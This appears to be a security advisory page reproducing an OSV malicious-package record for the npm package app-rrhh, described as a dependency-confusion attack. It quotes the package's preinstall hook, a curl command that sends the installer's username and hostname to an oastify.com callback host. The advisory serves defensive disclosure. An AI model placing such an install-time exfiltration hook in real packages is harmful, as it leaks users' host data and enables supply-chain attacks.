Malicious code in app-rrhh (npm)
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
osv · MAL-2026-16144
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88) package.json declares a preinstall script that runs `curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$(whoami)/$(hostname)` on `npm install`. The installer's OS username and hostname are embedded in the URL path and sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain, confirming code execution on the installing host and leaking installer identity data to an attacker-controlled destination. The package name `app-rrhh` at version `999.0.0` with a description referencing dependency confusion is consistent with a dependency-confusion attack shape designed to win resolution against an internal package of the same name.
- Source published
- 14 Sep 2026 15:42:30 UTC
- Source modified
- 14 Sep 2026 16:31:19 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.